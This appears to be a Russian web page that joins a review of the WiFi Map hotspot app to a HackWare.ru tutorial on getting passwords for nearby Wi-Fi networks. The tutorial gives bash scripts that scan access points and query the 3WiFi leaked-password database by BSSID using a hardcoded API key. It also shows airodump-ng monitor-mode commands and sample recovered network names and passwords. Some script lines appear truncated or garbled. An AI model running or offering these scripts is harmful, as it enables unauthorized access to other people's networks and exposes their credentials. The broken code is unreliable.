WiFi Map — как найти доступный Wi-Fi в любом городе мира
Если бы я узнал об этой программе чуть раньше, это сильно облегчило бы поиск бесплатного Wi-Fi в тех городах, что приходилось посещать в различных поездках. WiFI Map — это карта Wi-Fi-точек по всему миру. Причем в базе вы найдете как общедоступные Wi-Fi-точки (без пароля), так и закрытые сети (с указанием пароля). Именно это делает программу очень ценной.
При этом программа умеет работать в offline-режиме. Просто задайте в поиске тот город, что вы планируете посетить, откройте результат поиска и в дальнейшем можете работать с Wi-Fi-точками этого города без подключения к интернету.
В базе данных программы больше 100 миллионов Wi-Fi-точек по всему миру. Такое большое количество было бы невозможным без помощи пользователей. Они добавляют в программу найденные Wi-Fi точки (открытие и с найденным паролем). Зашел в кафе, узнал пароль, внес точку в программу. Можно самостоятельно нанести на карту собственную Wi-Fi-сеть. Именно социальная составляющая WiFi Map делает ее такой полезной.
Но есть и минусы. Ряд оффлайновых карт городов могут быть платными (мне пока не попадались). Возможно, эта проблема решается регистрацией в программе. Второй минус — пароли могут быть неправильные. Это нормально, так как некоторые регулярно меняют пароли на Wi-Fi-точках (особенно это касается кафе, отелей и тому подобных заведений). Третий минус — в программе используются Google Карты. Возможности смены карты не предусмотрено. Ну и наконец, эта программа не взламывает пароли. Такую возможность почему-то ищут некоторые пользователи.
Напоминаю, что WiFi Map — это не программа для взлома паролей, и не приложение по поиску доступных беспроводных сетей в округе, а программа, собирающая данные о WiFi-точках, которые добавляют сами пользователи.
HackWare.ru
Этичный хакинг и тестирование на проникновение, информационная безопасность
Как быстро узнать пароль от Wi-Fi рядом (без режима монитора)
После статьи «Как взломать Wi-Fi обычным адаптером без режима монитора» я подумал: чтобы ещё необычного можно сделать с обычной Wi-Fi картой?
У меня появилась парочка интересных идей и в этой заметке я поделюсь первой идеей. Есть сервис 3WiFi — он позволяет узнать пароли от точек доступа Wi-Fi. Подробности о самом сервисе в статье «Сервис 3WiFi: пароли от точек доступа Wi-Fi». Было бы неплохо что-нибудь такое придумать, чтобы автоматически проверять все точки в округе на наличие тех, которые есть в базе данных 3WiFi — чтобы не искать вручную, а просто сразу просканировать и подключиться. И… это уже тоже сделано — подробности в статье «Автоматическая проверка всех Точек Доступа по базе 3WiFi».
Но реализация WiFi-autopwner требует наличия двух беспроводных адаптеров, один из которых обязательно должен поддерживать режим монитора, а второй обязательно быть подключённым к Интернету.
В общем, я придумал способ, который позволяет проверить все беспроводные точки доступа в пределах досягаемости на их наличие в базе 3WiFi, но при этом требуется только одна Wi-Fi карта, причём обычная — её не нужно переводить в режим монитора. Правда, подключение Интернету по-прежнему требуется — поскольку используется онлайн база данных. Но что важно: во время сканирования, Wi-Fi соединение не будет разрываться. То есть достаточно 1 адаптера, который будет и сканировать, и в это же самое время быть подключённым к Интернету.
Попросту говоря, если у вас Linux с любой Wi-Fi картой, то вам этот способ уже подходит. Итак, рассмотрим способ как быстро узнать пароль от Wi-Fi рядом обычной Wi-Fi картой без режима монитора.
#!/bin/bash IFACE='wlan0' SCAN_ATTEMPTS=4 API_KEY='23ZRA8UBSLsdhbdJMp7IpbbsrDFDLuBC' TMP_FILE='/tmp/scan_results.txt' rm $TMP_FILE 2>/dev/null for (( i=1; i' )" echo "$FOUND" >> /tmp/scan_results.txt echo 'Found APs: ' `echo "$FOUND" | wc -l` done UNIQUE="$( cat $TMP_FILE | sort | uniq )" echo '===================' echo "Unique APs: "`echo "$UNIQUE" | wc -l` echo "$UNIQUE" | while read -r line ; do echo "Trying $line. "; echo -e "\033[0;32m`curl -s 'http://3wifi.stascorp.com/api/apiquery?key='$API_KEY'&bssid='$line`\e[0m" | grep -E -v ':\[\]'; sleep 15; done
Прежде чем запустить, нужно указать имя своего беспроводного интерфейса. Узнать это имя можно командой:
Вписать его нужно в строке (вместо wlan0):
Другие настройки — количество сканирований:
По умолчанию указано 4 — можете выбрать больше или меньше. Каждое сканирование занимает всего несколько секунд — чем больше сканирований, тем меньше вероятность пропустить беспроводные сети — особенно если вы перемещаете беспроводную карту в пределах комнаты.
Настройка API ключа сервиса 3WiFi:
API_KEY='23ZRA8UBSLsdhbdJMp7IpbbsrDFDLuBC'
Используется API ключ гостевого аккаунта — если у вас есть аккаунт более высокого уровня, то можете указать здесь свой ключ. Если такого аккаунта у вас нет — то не надо ничего менять в этой строке.
Если у вас не-гостевой аккаунт и вы прописали свой API ключ, то удалите из скрипта строку:
Если после строки, которая начинается с Trying … ничего не выведено, значит проверяемая ТД отсутствует в базе данных 3WiFi.
Если Точка Доступа найдена в 3WiFi, то будет выведено примерно следующее:
essid — это имя точки доступа, а key — это пароль от неё. То есть в предыдущей строке сказано, что для ТД BURAPA паролем для подключения к Wi-Fi является 0840446924.
Если возникла ошибка вида:
то она означает, что предыдущая ТД не проверена — вы можете позднее перезапустить сканирование, либо вручную проверить пропущенные ТД на сайте 3WiFi.
Две ТД не получилось проверить, зато найдена новая в БД:
Имя: walaiporn, пароль: 77291944.
Бонус
Рассмотрим ещё один вариант — когда Wi-Fi карта одна, но она поддерживает режим монитора. В этом случае можно просканировать сети с помощью airodump-ng — во время сканирование беспроводной адаптер должен быть в режиме монитора и, следовательно, не может быть подключён к Интернету. Поэтому данные сканирования, вместо проверки, можно сохранить в файл.
Затем, после окончания сканирования, можно подключиться к Интернету с помощью этого адаптера и выполнить проверку по онлайн базе данных.
Итак, переводим интерфейс в режим монитора (замените ИНТЕРФЕЙС на имя вашего беспроводного интерфейса):
sudo ip link set ИНТЕРФЕЙС down sudo iw ИНТЕРФЕЙС set monitor control sudo ip link set ИНТЕРФЕЙС up
И запускаем airodump-ng (укажите действительное имя интерфейса вместо ИНТЕРФЕЙС):
sudo airodump-ng --berlin 60000 -w /tmp/3wifi ИНТЕРФЕЙС
Работать программа может любое количество времени — на ваше усмотрение. Когда надоест собирать данные, нажмите CTRL+с.
Теперь создайте файл 3wifi-file.sh:
#!/bin/bash API_KEY='23ZRA8UBSLsdhbdJMp7IpbbsrDFDLuBC' FILE='/tmp/3wifi-01.csv' while read -r line ; do BSSID=`echo $line | awk '' | sed 's/,//'` ESSID=`echo $line | awk -F"," '' | sed 's/ //'` echo "Trying $BSSID $ESSID" echo -e "\033[0;32m`curl -s 'http://3wifi.stascorp.com/api/apiquery?key='$API_KEY'&bssid='$BSSID`\e[0m" | grep -E -v ':\[\]' sleep 15 done < <(grep -E '([A-Za-z0-9._: @\(\)\\=\[\<\>\"%;-]+,)' $FILE)
Когда у вас вновь будет подключение к Интернету, запустите его:
Дождитесь окончания работы.
Если вы собираетесь запускать airodump-ng ещё раз, то очистите файлы, которые были созданы ранее (иначе программа 3wifi-file.sh будет вновь использовать старые файлы):